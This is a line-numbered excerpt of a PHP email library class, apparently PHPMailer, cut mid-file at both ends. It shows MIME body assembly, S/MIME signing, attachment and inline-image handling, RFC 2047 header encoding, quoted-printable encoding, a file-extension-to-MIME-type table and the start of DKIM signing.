  1738. $body .= $this->headerLine('Content-Type', 'multipart/related;');
  1739. $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
  1740. $body .= $this->LE;
  1741. $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
  1742. $body .= $this->encodeString($this->Body, $bodyEncoding);
  1743. $body .= $this->LE . $this->LE;
  1744. $body .= $this->attachAll('inline', $this->boundary[3]);
  1745. $body .= $this->LE;
  1746. $body .= $this->endBoundary($this->boundary[2]);
  1747. $body .= $this->LE;
  1748. $body .= $this->attachAll('attachment', $this->boundary[1]);
  1749. break;
  1750. default:
  1751. // catch case 'plain' and case ''
  1752. $body .= $this->encodeString($this->Body, $bodyEncoding);
  1753. break;
  1754. }
  1755. if ($this->isError()) {
  1756. $body = '';
  1757. } elseif ($this->sign_key_file) {
  1758. try {
  1759. if (!defined('PKCS7_TEXT')) {
  1760. throw new phpmailerException($this->lang('signing') . ' OpenSSL extension missing.');
  1761. }
  1762. // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
  1763. $file = tempnam(sys_get_temp_dir(), 'mail');
  1764. if (false === file_put_contents($file, $body)) {
  1765. throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
  1766. }
  1767. $signed = tempnam(sys_get_temp_dir(), 'signed');
  1768. if (@openssl_pkcs7_sign(
  1769. $file,
  1770. $signed,
  1771. 'file://' . realpath($this->sign_cert_file),
  1772. array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
  1773. null
  1774. )
  1775. ) {
  1776. @unlink($file);
  1777. $body = file_get_contents($signed);
  1778. @unlink($signed);
  1779. } else {
  1780. @unlink($file);
  1781. @unlink($signed);
  1782. throw new phpmailerException($this->lang('signing') . openssl_error_string());
  1783. }
  1784. } catch (phpmailerException $exc) {
  1785. $body = '';
  1786. if ($this->exceptions) {
  1787. throw $exc;
  1788. }
  1789. }
  1790. }
  1791. return $body;
  1792. }
  1793. protected function getBoundary($boundary, $charSet, $contentType, $encoding)
  1794. {
  1795. $result = '';
  1796. if ($charSet == '') {
  1797. $charSet = $this->CharSet;
  1798. }
  1799. if ($contentType == '') {
  1800. $contentType = $this->ContentType;
  1801. }
  1802. if ($encoding == '') {
  1803. $encoding = $this->Encoding;
  1804. }
  1805. $result .= $this->textLine('--' . $boundary);
  1806. $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
  1807. $result .= $this->LE;
  1808. // RFC1341 part 5 says 7bit is assumed if not specified
  1809. if ($encoding != '7bit') {
  1810. $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
  1811. }
  1812. $result .= $this->LE;
  1813. return $result;
  1814. }
  1815. protected function endBoundary($boundary)
  1816. {
  1817. return $this->LE . '--' . $boundary . '--' . $this->LE;
  1818. }
  1819. protected function setMessageType()
  1820. {
  1821. $type = array();
  1822. if ($this->alternativeExists()) {
  1823. $type[] = 'alt';
  1824. }
  1825. if ($this->inlineImageExists()) {
  1826. $type[] = 'inline';
  1827. }
  1828. if ($this->attachmentExists()) {
  1829. $type[] = 'attach';
  1830. }
  1831. $this->message_type = implode('_', $type);
  1832. if ($this->message_type == '') {
  1833. $this->message_type = 'plain';
  1834. }
  1835. }
  1836. public function headerLine($name, $value)
  1837. {
  1838. return $name . ': ' . $value . $this->LE;
  1839. }
  1840. public function textLine($value)
  1841. {
  1842. return $value . $this->LE;
  1843. }
  1844. public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
  1845. {
  1846. try {
  1847. if (!@is_file($path)) {
  1848. throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
  1849. }
  1850. // If a MIME type is not specified, try to work it out from the file name
  1851. if ($type == '') {
  1852. $type = self::filenameToType($path);
  1853. }
  1854. $filename = basename($path);
  1855. if ($name == '') {
  1856. $name = $filename;
  1857. }
  1858. $this->attachment[] = array(
  1859. 0 => $path,
  1860. 1 => $filename,
  1861. 2 => $name,
  1862. 3 => $encoding,
  1863. 4 => $type,
  1864. 5 => false, // isStringAttachment
  1865. 6 => $disposition,
  1866. 7 => 0
  1867. );
  1868. } catch (phpmailerException $exc) {
  1869. $this->setError($exc->getMessage());
  1870. $this->edebug($exc->getMessage());
  1871. if ($this->exceptions) {
  1872. throw $exc;
  1873. }
  1874. return false;
  1875. }
  1876. return true;
  1877. }
  1878. public function getAttachments()
  1879. {
  1880. return $this->attachment;
  1881. }
  1882. protected function attachAll($disposition_type, $boundary)
  1883. {
  1884. // Return text of body
  1885. $mime = array();
  1886. $cidUniq = array();
  1887. $incl = array();
  1888. // Add all attachments
  1889. foreach ($this->attachment as $attachment) {
  1890. // Check if it is a valid disposition_filter
  1891. if ($attachment[6] == $disposition_type) {
  1892. // Check for string attachment
  1893. $string = '';
  1894. $path = '';
  1895. $bString = $attachment[5];
  1896. if ($bString) {
  1897. $string = $attachment[0];
  1898. } else {
  1899. $path = $attachment[0];
  1900. }
  1901. $inclhash = md5(serialize($attachment));
  1902. if (in_array($inclhash, $incl)) {
  1903. continue;
  1904. }
  1905. $incl[] = $inclhash;
  1906. $name = $attachment[2];
  1907. $encoding = $attachment[3];
  1908. $type = $attachment[4];
  1909. $disposition = $attachment[6];
  1910. $cid = $attachment[7];
  1911. if ($disposition == 'inline' && isset($cidUniq[$cid])) {
  1912. continue;
  1913. }
  1914. $cidUniq[$cid] = true;
  1915. $mime[] = sprintf('--%s%s', $boundary, $this->LE);
  1916. $mime[] = sprintf(
  1917. 'Content-Type: %s; name="%s"%s',
  1918. $type,
  1919. $this->encodeHeader($this->secureHeader($name)),
  1920. $this->LE
  1921. );
  1922. // RFC1341 part 5 says 7bit is assumed if not specified
  1923. if ($encoding != '7bit') {
  1924. $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
  1925. }
  1926. if ($disposition == 'inline') {
  1927. $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
  1928. }
  1929. // If a filename contains any of these chars, it should be quoted,
  1930. // but not otherwise: RFC2183 & RFC2045 5.1
  1931. // Fixes a warning in IETF's msglint MIME checker
  1932. // Allow for bypassing the Content-Disposition header totally
  1933. if (!(empty($disposition))) {
  1934. $encoded_name = $this->encodeHeader($this->secureHeader($name));
  1935. if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
  1936. $mime[] = sprintf(
  1937. 'Content-Disposition: %s; filename="%s"%s',
  1938. $disposition,
  1939. $encoded_name,
  1940. $this->LE . $this->LE
  1941. );
  1942. } else {
  1943. $mime[] = sprintf(
  1944. 'Content-Disposition: %s; filename=%s%s',
  1945. $disposition,
  1946. $encoded_name,
  1947. $this->LE . $this->LE
  1948. );
  1949. }
  1950. } else {
  1951. $mime[] = $this->LE;
  1952. }
  1953. // Encode as string attachment
  1954. if ($bString) {
  1955. $mime[] = $this->encodeString($string, $encoding);
  1956. if ($this->isError()) {
  1957. return '';
  1958. }
  1959. $mime[] = $this->LE . $this->LE;
  1960. } else {
  1961. $mime[] = $this->encodeFile($path, $encoding);
  1962. if ($this->isError()) {
  1963. return '';
  1964. }
  1965. $mime[] = $this->LE . $this->LE;
  1966. }
  1967. }
  1968. }
  1969. $mime[] = sprintf('--%s--%s', $boundary, $this->LE);
  1970. return implode('', $mime);
  1971. }
  1972. protected function encodeFile($path, $encoding = 'base64')
  1973. {
  1974. try {
  1975. if (!is_readable($path)) {
  1976. throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
  1977. }
  1978. $magic_quotes = get_magic_quotes_runtime();
  1979. if ($magic_quotes) {
  1980. if (version_compare(PHP_VERSION, '5.3.0', '<')) {
  1981. set_magic_quotes_runtime(false);
  1982. } else {
  1983. ini_set('magic_quotes_runtime', 0);
  1984. }
  1985. }
  1986. $file_buffer = file_get_contents($path);
  1987. $file_buffer = $this->encodeString($file_buffer, $encoding);
  1988. if ($magic_quotes) {
  1989. if (version_compare(PHP_VERSION, '5.3.0', '<')) {
  1990. set_magic_quotes_runtime($magic_quotes);
  1991. } else {
  1992. ini_set('magic_quotes_runtime', ($magic_quotes?'1':'0'));
  1993. }
  1994. }
  1995. return $file_buffer;
  1996. } catch (Exception $exc) {
  1997. $this->setError($exc->getMessage());
  1998. return '';
  1999. }
  2000. }
  2001. public function encodeString($str, $encoding = 'base64')
  2002. {
  2003. $encoded = '';
  2004. switch (strtolower($encoding)) {
  2005. case 'base64':
  2006. $encoded = chunk_split(base64_encode($str), 76, $this->LE);
  2007. break;
  2008. case '7bit':
  2009. case '8bit':
  2010. $encoded = $this->fixEOL($str);
  2011. // Make sure it ends with a line break
  2012. if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
  2013. $encoded .= $this->LE;
  2014. }
  2015. break;
  2016. case 'binary':
  2017. $encoded = $str;
  2018. break;
  2019. case 'quoted-printable':
  2020. $encoded = $this->encodeQP($str);
  2021. break;
  2022. default:
  2023. $this->setError($this->lang('encoding') . $encoding);
  2024. break;
  2025. }
  2026. return $encoded;
  2027. }
  2028. public function encodeHeader($str, $position = 'text')
  2029. {
  2030. $matchcount = 0;
  2031. switch (strtolower($position)) {
  2032. case 'phrase':
  2033. if (!preg_match('/[\200-\377]/', $str)) {
  2034. // Can't use addslashes as we don't know the value of magic_quotes_sybase
  2035. $encoded = addcslashes($str, "\0..\37\177\\\"");
  2036. if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
  2037. return ($encoded);
  2038. } else {
  2039. return ("\"$encoded\"");
  2040. }
  2041. }
  2042. $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
  2043. break;
  2044. /** @noinspection PhpMissingBreakStatementInspection */
  2045. case 'comment':
  2046. $matchcount = preg_match_all('/[()"]/', $str, $matches);
  2047. // Intentional fall-through
  2048. case 'text':
  2049. default:
  2050. $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
  2051. break;
  2052. }
  2053. if ($matchcount == 0) { // There are no chars that need encoding
  2054. return ($str);
  2055. }
  2056. $maxlen = 75 - 7 - strlen($this->CharSet);
  2057. // Try to select the encoding which should produce the shortest output
  2058. if ($matchcount > strlen($str) / 3) {
  2059. // More than a third of the content will need encoding, so B encoding will be most efficient
  2060. $encoding = 'B';
  2061. if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
  2062. $encoded = $this->base64EncodeWrapMB($str, "\n");
  2063. } else {
  2064. $encoded = base64_encode($str);
  2065. $maxlen -= $maxlen % 4;
  2066. $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
  2067. }
  2068. } else {
  2069. $encoding = 'Q';
  2070. $encoded = $this->encodeQ($str, $position);
  2071. $encoded = $this->wrapText($encoded, $maxlen, true);
  2072. $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
  2073. }
  2074. $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
  2075. $encoded = trim(str_replace("\n", $this->LE, $encoded));
  2076. return $encoded;
  2077. }
  2078.  
  2079. public function hasMultiBytes($str)
  2080. {
  2081. if (function_exists('mb_strlen')) {
  2082. return (strlen($str) > mb_strlen($str, $this->CharSet));
  2083. } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
  2084. return false;
  2085. }
  2086. }
  2087.  
  2088. public function has8bitChars($text)
  2089. {
  2090. return (boolean)preg_match('/[\x80-\xFF]/', $text);
  2091. }
  2092.  
  2093. public function base64EncodeWrapMB($str, $linebreak = null)
  2094. {
  2095. $start = '=?' . $this->CharSet . '?B?';
  2096. $end = '?=';
  2097. $encoded = '';
  2098. if ($linebreak === null) {
  2099. $linebreak = $this->LE;
  2100. }
  2101. $mb_length = mb_strlen($str, $this->CharSet);
  2102. // Each line must have length <= 75, including $start and $end
  2103. $length = 75 - strlen($start) - strlen($end);
  2104. // Average multi-byte ratio
  2105. $ratio = $mb_length / strlen($str);
  2106. // Base64 has a 4:3 ratio
  2107. $avgLength = floor($length * $ratio * .75);
  2108. for ($i = 0; $i < $mb_length; $i += $offset) {
  2109. $lookBack = 0;
  2110. do {
  2111. $offset = $avgLength - $lookBack;
  2112. $chunk = mb_substr($str, $i, $offset, $this->CharSet);
  2113. $chunk = base64_encode($chunk);
  2114. $lookBack++;
  2115. } while (strlen($chunk) > $length);
  2116. $encoded .= $chunk . $linebreak;
  2117. }
  2118. // Chomp the last linefeed
  2119. $encoded = substr($encoded, 0, -strlen($linebreak));
  2120. return $encoded;
  2121. }
  2122.  
  2123. public function encodeQP($string, $line_max = 76)
  2124. {
  2125. if (function_exists('quoted_printable_encode')) { // Use native function if it's available (>= PHP5.3)
  2126. return $this->fixEOL(quoted_printable_encode($string));
  2127. }
  2128. // Fall back to a pure PHP implementation
  2129. $string = str_replace(
  2130. array('%20', '%0D%0A.', '%0D%0A', '%'),
  2131. array(' ', "\r\n=2E", "\r\n", '='),
  2132. rawurlencode($string)
  2133. );
  2134. $string = preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
  2135. return $this->fixEOL($string);
  2136. }
  2137.  
  2138. public function encodeQPphp(
  2139. $string,
  2140. $line_max = 76,
  2141. /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
  2142. ) {
  2143. return $this->encodeQP($string, $line_max);
  2144. }
  2145.  
  2146. public function encodeQ($str, $position = 'text')
  2147. {
  2148. // There should not be any EOL in the string
  2149. $pattern = '';
  2150. $encoded = str_replace(array("\r", "\n"), '', $str);
  2151. switch (strtolower($position)) {
  2152. case 'phrase':
  2153. // RFC 2047 section 5.3
  2154. $pattern = '^A-Za-z0-9!*+\/ -';
  2155. break;
  2156. /** @noinspection PhpMissingBreakStatementInspection */
  2157. case 'comment':
  2158. // RFC 2047 section 5.2
  2159. $pattern = '\(\)"';
  2160. case 'text':
  2161. default:
  2162. $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
  2163. break;
  2164. }
  2165. $matches = array();
  2166. if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
  2167. $eqkey = array_search('=', $matches[0]);
  2168. if (false !== $eqkey) {
  2169. unset($matches[0][$eqkey]);
  2170. array_unshift($matches[0], '=');
  2171. }
  2172. foreach (array_unique($matches[0]) as $char) {
  2173. $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
  2174. }
  2175. }
  2176. // Replace every spaces to _ (more readable than =20)
  2177. return str_replace(' ', '_', $encoded);
  2178. }
  2179.  
  2180. public function addStringAttachment(
  2181. $string,
  2182. $filename,
  2183. $encoding = 'base64',
  2184. $type = '',
  2185. $disposition = 'attachment'
  2186. ) {
  2187. // If a MIME type is not specified, try to work it out from the file name
  2188. if ($type == '') {
  2189. $type = self::filenameToType($filename);
  2190. }
  2191. // Append to $attachment array
  2192. $this->attachment[] = array(
  2193. 0 => $string,
  2194. 1 => $filename,
  2195. 2 => basename($filename),
  2196. 3 => $encoding,
  2197. 4 => $type,
  2198. 5 => true, // isStringAttachment
  2199. 6 => $disposition,
  2200. 7 => 0
  2201. );
  2202. }
  2203. public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
  2204. {
  2205. if (!@is_file($path)) {
  2206. $this->setError($this->lang('file_access') . $path);
  2207. return false;
  2208. }
  2209. // If a MIME type is not specified, try to work it out from the file name
  2210. if ($type == '') {
  2211. $type = self::filenameToType($path);
  2212. }
  2213. $filename = basename($path);
  2214. if ($name == '') {
  2215. $name = $filename;
  2216. }
  2217. // Append to $attachment array
  2218. $this->attachment[] = array(
  2219. 0 => $path,
  2220. 1 => $filename,
  2221. 2 => $name,
  2222. 3 => $encoding,
  2223. 4 => $type,
  2224. 5 => false, // isStringAttachment
  2225. 6 => $disposition,
  2226. 7 => $cid
  2227. );
  2228. return true;
  2229. }
  2230.  
  2231. public function addStringEmbeddedImage(
  2232. $string,
  2233. $cid,
  2234. $name = '',
  2235. $encoding = 'base64',
  2236. $type = '',
  2237. $disposition = 'inline'
  2238. ) {
  2239. // If a MIME type is not specified, try to work it out from the name
  2240. if ($type == '') {
  2241. $type = self::filenameToType($name);
  2242. }
  2243. // Append to $attachment array
  2244. $this->attachment[] = array(
  2245. 0 => $string,
  2246. 1 => $name,
  2247. 2 => $name,
  2248. 3 => $encoding,
  2249. 4 => $type,
  2250. 5 => true, // isStringAttachment
  2251. 6 => $disposition,
  2252. 7 => $cid
  2253. );
  2254. return true;
  2255. }
  2256. public function inlineImageExists()
  2257. {
  2258. foreach ($this->attachment as $attachment) {
  2259. if ($attachment[6] == 'inline') {
  2260. return true;
  2261. }
  2262. }
  2263. return false;
  2264. }
  2265. public function attachmentExists()
  2266. {
  2267. foreach ($this->attachment as $attachment) {
  2268. if ($attachment[6] == 'attachment') {
  2269. return true;
  2270. }
  2271. }
  2272. return false;
  2273. }
  2274. public function alternativeExists()
  2275. {
  2276. return !empty($this->AltBody);
  2277. }
  2278. public function clearAddresses()
  2279. {
  2280. foreach ($this->to as $to) {
  2281. unset($this->all_recipients[strtolower($to[0])]);
  2282. }
  2283. $this->to = array();
  2284. }
  2285. public function clearCCs()
  2286. {
  2287. foreach ($this->cc as $cc) {
  2288. unset($this->all_recipients[strtolower($cc[0])]);
  2289. }
  2290. $this->cc = array();
  2291. }
  2292. public function clearBCCs()
  2293. {
  2294. foreach ($this->bcc as $bcc) {
  2295. unset($this->all_recipients[strtolower($bcc[0])]);
  2296. }
  2297. $this->bcc = array();
  2298. }
  2299. public function clearReplyTos()
  2300. {
  2301. $this->ReplyTo = array();
  2302. }
  2303.  
  2304. public function clearAllRecipients()
  2305. {
  2306. $this->to = array();
  2307. $this->cc = array();
  2308. $this->bcc = array();
  2309. $this->all_recipients = array();
  2310. }
  2311. public function clearAttachments()
  2312. {
  2313. $this->attachment = array();
  2314. }
  2315. public function clearCustomHeaders()
  2316. {
  2317. $this->CustomHeader = array();
  2318. }
  2319. protected function setError($msg)
  2320. {
  2321. $this->error_count++;
  2322. if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
  2323. $lasterror = $this->smtp->getError();
  2324. if (!empty($lasterror) and array_key_exists('smtp_msg', $lasterror)) {
  2325. $msg .= '<p>' . $this->lang('smtp_error') . $lasterror['smtp_msg'] . "</p>\n";
  2326. }
  2327. }
  2328. $this->ErrorInfo = $msg;
  2329. }
  2330. public static function rfcDate()
  2331. {
  2332. // Set the time zone to whatever the default is to avoid 500 errors
  2333. // Will default to UTC if it's not set properly in php.ini
  2334. date_default_timezone_set(@date_default_timezone_get());
  2335. return date('D, j M Y H:i:s O');
  2336. }
  2337. protected function serverHostname()
  2338. {
  2339. $result = 'localhost.localdomain';
  2340. if (!empty($this->Hostname)) {
  2341. $result = $this->Hostname;
  2342. } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
  2343. $result = $_SERVER['SERVER_NAME'];
  2344. } elseif (function_exists('gethostname') && gethostname() !== false) {
  2345. $result = gethostname();
  2346. } elseif (php_uname('n') !== false) {
  2347. $result = php_uname('n');
  2348. }
  2349. return $result;
  2350. }
  2351. protected function lang($key)
  2352. {
  2353. if (count($this->language) < 1) {
  2354. $this->setLanguage('en'); // set the default language
  2355. }
  2356. if (isset($this->language[$key])) {
  2357. return $this->language[$key];
  2358. } else {
  2359. return 'Language string failed to load: ' . $key;
  2360. }
  2361. }
  2362. public function isError()
  2363. {
  2364. return ($this->error_count > 0);
  2365. }
  2366. public function fixEOL($str)
  2367. {
  2368. // Normalise to \n
  2369. $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
  2370. // Now convert LE as needed
  2371. if ($this->LE !== "\n") {
  2372. $nstr = str_replace("\n", $this->LE, $nstr);
  2373. }
  2374. return $nstr;
  2375. }
  2376.  
  2377. public function addCustomHeader($name, $value = null)
  2378. {
  2379. if ($value === null) {
  2380. // Value passed in as name:value
  2381. $this->CustomHeader[] = explode(':', $name, 2);
  2382. } else {
  2383. $this->CustomHeader[] = array($name, $value);
  2384. }
  2385. }
  2386. public function msgHTML($message, $basedir = '', $advanced = false)
  2387. {
  2388. preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
  2389. if (isset($images[2])) {
  2390. foreach ($images[2] as $imgindex => $url) {
  2391. // Convert data URIs into embedded images
  2392. if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
  2393. $data = substr($url, strpos($url, ','));
  2394. if ($match[2]) {
  2395. $data = base64_decode($data);
  2396. } else {
  2397. $data = rawurldecode($data);
  2398. }
  2399. $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
  2400. if ($this->addStringEmbeddedImage($data, $cid, '', 'base64', $match[1])) {
  2401. $message = str_replace(
  2402. $images[0][$imgindex],
  2403. $images[1][$imgindex] . '="cid:' . $cid . '"',
  2404. $message
  2405. );
  2406. }
  2407. } elseif (!preg_match('#^[A-z]+://#', $url)) {
  2408. // Do not change urls for absolute images (thanks to corvuscorax)
  2409. $filename = basename($url);
  2410. $directory = dirname($url);
  2411. if ($directory == '.') {
  2412. $directory = '';
  2413. }
  2414. $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
  2415. if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
  2416. $basedir .= '/';
  2417. }
  2418. if (strlen($directory) > 1 && substr($directory, -1) != '/') {
  2419. $directory .= '/';
  2420. }
  2421. if ($this->addEmbeddedImage(
  2422. $basedir . $directory . $filename,
  2423. $cid,
  2424. $filename,
  2425. 'base64',
  2426. self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
  2427. )
  2428. ) {
  2429. $message = preg_replace(
  2430. '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
  2431. $images[1][$imgindex] . '="cid:' . $cid . '"',
  2432. $message
  2433. );
  2434. }
  2435. }
  2436. }
  2437. }
  2438. $this->isHTML(true);
  2439. // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
  2440. $this->Body = $this->normalizeBreaks($message);
  2441. $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
  2442. if (empty($this->AltBody)) {
  2443. $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
  2444. self::CRLF . self::CRLF;
  2445. }
  2446. return $this->Body;
  2447. }
  2448.  
  2449. public function html2text($html, $advanced = false)
  2450. {
  2451. if (is_callable($advanced)) {
  2452. return call_user_func($advanced, $html);
  2453. }
  2454. return html_entity_decode(
  2455. trim(custom_strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
  2456. ENT_QUOTES,
  2457. $this->CharSet
  2458. );
  2459. }
  2460.  
  2461. public static function _mime_types($ext = '')
  2462. {
  2463. $mimes = array(
  2464. 'xl' => 'application/excel',
  2465. 'js' => 'application/javascript',
  2466. 'hqx' => 'application/mac-binhex40',
  2467. 'cpt' => 'application/mac-compactpro',
  2468. 'bin' => 'application/macbinary',
  2469. 'doc' => 'application/msword',
  2470. 'word' => 'application/msword',
  2471. 'class' => 'application/octet-stream',
  2472. 'dll' => 'application/octet-stream',
  2473. 'dms' => 'application/octet-stream',
  2474. 'exe' => 'application/octet-stream',
  2475. 'lha' => 'application/octet-stream',
  2476. 'lzh' => 'application/octet-stream',
  2477. 'psd' => 'application/octet-stream',
  2478. 'sea' => 'application/octet-stream',
  2479. 'so' => 'application/octet-stream',
  2480. 'oda' => 'application/oda',
  2481. 'pdf' => 'application/pdf',
  2482. 'ai' => 'application/postscript',
  2483. 'eps' => 'application/postscript',
  2484. 'ps' => 'application/postscript',
  2485. 'smi' => 'application/smil',
  2486. 'smil' => 'application/smil',
  2487. 'mif' => 'application/vnd.mif',
  2488. 'xls' => 'application/vnd.ms-excel',
  2489. 'ppt' => 'application/vnd.ms-powerpoint',
  2490. 'wbxml' => 'application/vnd.wap.wbxml',
  2491. 'wmlc' => 'application/vnd.wap.wmlc',
  2492. 'dcr' => 'application/x-director',
  2493. 'dir' => 'application/x-director',
  2494. 'dxr' => 'application/x-director',
  2495. 'dvi' => 'application/x-dvi',
  2496. 'gtar' => 'application/x-gtar',
  2497. 'php3' => 'application/x-httpd-php',
  2498. 'php4' => 'application/x-httpd-php',
  2499. 'php' => 'application/x-httpd-php',
  2500. 'phtml' => 'application/x-httpd-php',
  2501. 'phps' => 'application/x-httpd-php-source',
  2502. 'swf' => 'application/x-shockwave-flash',
  2503. 'sit' => 'application/x-stuffit',
  2504. 'tar' => 'application/x-tar',
  2505. 'tgz' => 'application/x-tar',
  2506. 'xht' => 'application/xhtml+xml',
  2507. 'xhtml' => 'application/xhtml+xml',
  2508. 'zip' => 'application/zip',
  2509. 'mid' => 'audio/midi',
  2510. 'midi' => 'audio/midi',
  2511. 'mp2' => 'audio/mpeg',
  2512. 'mp3' => 'audio/mpeg',
  2513. 'mpga' => 'audio/mpeg',
  2514. 'aif' => 'audio/x-aiff',
  2515. 'aifc' => 'audio/x-aiff',
  2516. 'aiff' => 'audio/x-aiff',
  2517. 'ram' => 'audio/x-pn-realaudio',
  2518. 'rm' => 'audio/x-pn-realaudio',
  2519. 'rpm' => 'audio/x-pn-realaudio-plugin',
  2520. 'ra' => 'audio/x-realaudio',
  2521. 'wav' => 'audio/x-wav',
  2522. 'bmp' => 'image/bmp',
  2523. 'gif' => 'image/gif',
  2524. 'jpeg' => 'image/jpeg',
  2525. 'jpe' => 'image/jpeg',
  2526. 'jpg' => 'image/jpeg',
  2527. 'png' => 'image/png',
  2528. 'tiff' => 'image/tiff',
  2529. 'tif' => 'image/tiff',
  2530. 'eml' => 'message/rfc822',
  2531. 'css' => 'text/css',
  2532. 'html' => 'text/html',
  2533. 'htm' => 'text/html',
  2534. 'shtml' => 'text/html',
  2535. 'log' => 'text/plain',
  2536. 'text' => 'text/plain',
  2537. 'txt' => 'text/plain',
  2538. 'rtx' => 'text/richtext',
  2539. 'rtf' => 'text/rtf',
  2540. 'vcf' => 'text/vcard',
  2541. 'vcard' => 'text/vcard',
  2542. 'xml' => 'text/xml',
  2543. 'xsl' => 'text/xml',
  2544. 'mpeg' => 'video/mpeg',
  2545. 'mpe' => 'video/mpeg',
  2546. 'mpg' => 'video/mpeg',
  2547. 'mov' => 'video/quicktime',
  2548. 'qt' => 'video/quicktime',
  2549. 'rv' => 'video/vnd.rn-realvideo',
  2550. 'avi' => 'video/x-msvideo',
  2551. 'movie' => 'video/x-sgi-movie'
  2552. );
  2553. return (array_key_exists(strtolower($ext), $mimes) ? $mimes[strtolower($ext)]: 'application/octet-stream');
  2554. }
  2555.  
  2556. public static function filenameToType($filename)
  2557. {
  2558. // In case the path is a URL, strip any query string before getting extension
  2559. $qpos = strpos($filename, '?');
  2560. if (false !== $qpos) {
  2561. $filename = substr($filename, 0, $qpos);
  2562. }
  2563. $pathinfo = self::mb_pathinfo($filename);
  2564. return self::_mime_types($pathinfo['extension']);
  2565. }
  2566.  
  2567. public static function mb_pathinfo($path, $options = null)
  2568. {
  2569. $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
  2570. $pathinfo = array();
  2571. if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
  2572. if (array_key_exists(1, $pathinfo)) {
  2573. $ret['dirname'] = $pathinfo[1];
  2574. }
  2575. if (array_key_exists(2, $pathinfo)) {
  2576. $ret['basename'] = $pathinfo[2];
  2577. }
  2578. if (array_key_exists(5, $pathinfo)) {
  2579. $ret['extension'] = $pathinfo[5];
  2580. }
  2581. if (array_key_exists(3, $pathinfo)) {
  2582. $ret['filename'] = $pathinfo[3];
  2583. }
  2584. }
  2585. switch ($options) {
  2586. case PATHINFO_DIRNAME:
  2587. case 'dirname':
  2588. return $ret['dirname'];
  2589. case PATHINFO_BASENAME:
  2590. case 'basename':
  2591. return $ret['basename'];
  2592. case PATHINFO_EXTENSION:
  2593. case 'extension':
  2594. return $ret['extension'];
  2595. case PATHINFO_FILENAME:
  2596. case 'filename':
  2597. return $ret['filename'];
  2598. default:
  2599. return $ret;
  2600. }
  2601. }
  2602. public function set($name, $value = '')
  2603. {
  2604. try {
  2605. if (isset($this->$name)) {
  2606. $this->$name = $value;
  2607. } else {
  2608. throw new phpmailerException($this->lang('variable_set') . $name, self::STOP_CRITICAL);
  2609. }
  2610. } catch (Exception $exc) {
  2611. $this->setError($exc->getMessage());
  2612. if ($exc->getCode() == self::STOP_CRITICAL) {
  2613. return false;
  2614. }
  2615. }
  2616. return true;
  2617. }
  2618.  
  2619. public function secureHeader($str)
  2620. {
  2621. return trim(str_replace(array("\r", "\n"), '', $str));
  2622. }
  2623. public static function normalizeBreaks($text, $breaktype = "\r\n")
  2624. {
  2625. return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
  2626. }
  2627.  
  2628. public function sign($cert_filename, $key_filename, $key_pass)
  2629. {
  2630. $this->sign_cert_file = $cert_filename;
  2631. $this->sign_key_file = $key_filename;
  2632. $this->sign_key_pass = $key_pass;
  2633. }
  2634. public function DKIM_QP($txt)
  2635. {
  2636. $line = '';
  2637. for ($i = 0; $i < strlen($txt); $i++) {
  2638. $ord = ord($txt[$i]);
  2639. if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
  2640. $line .= $txt[$i];
  2641. } else {
  2642. $line .= '=' . sprintf('%02X', $ord);
  2643. }
  2644. }
  2645. return $line;
  2646. }
  2647. public function DKIM_Sign($signHeader)
  2648. {
  2649. if (!defined('PKCS7_TEXT')) {
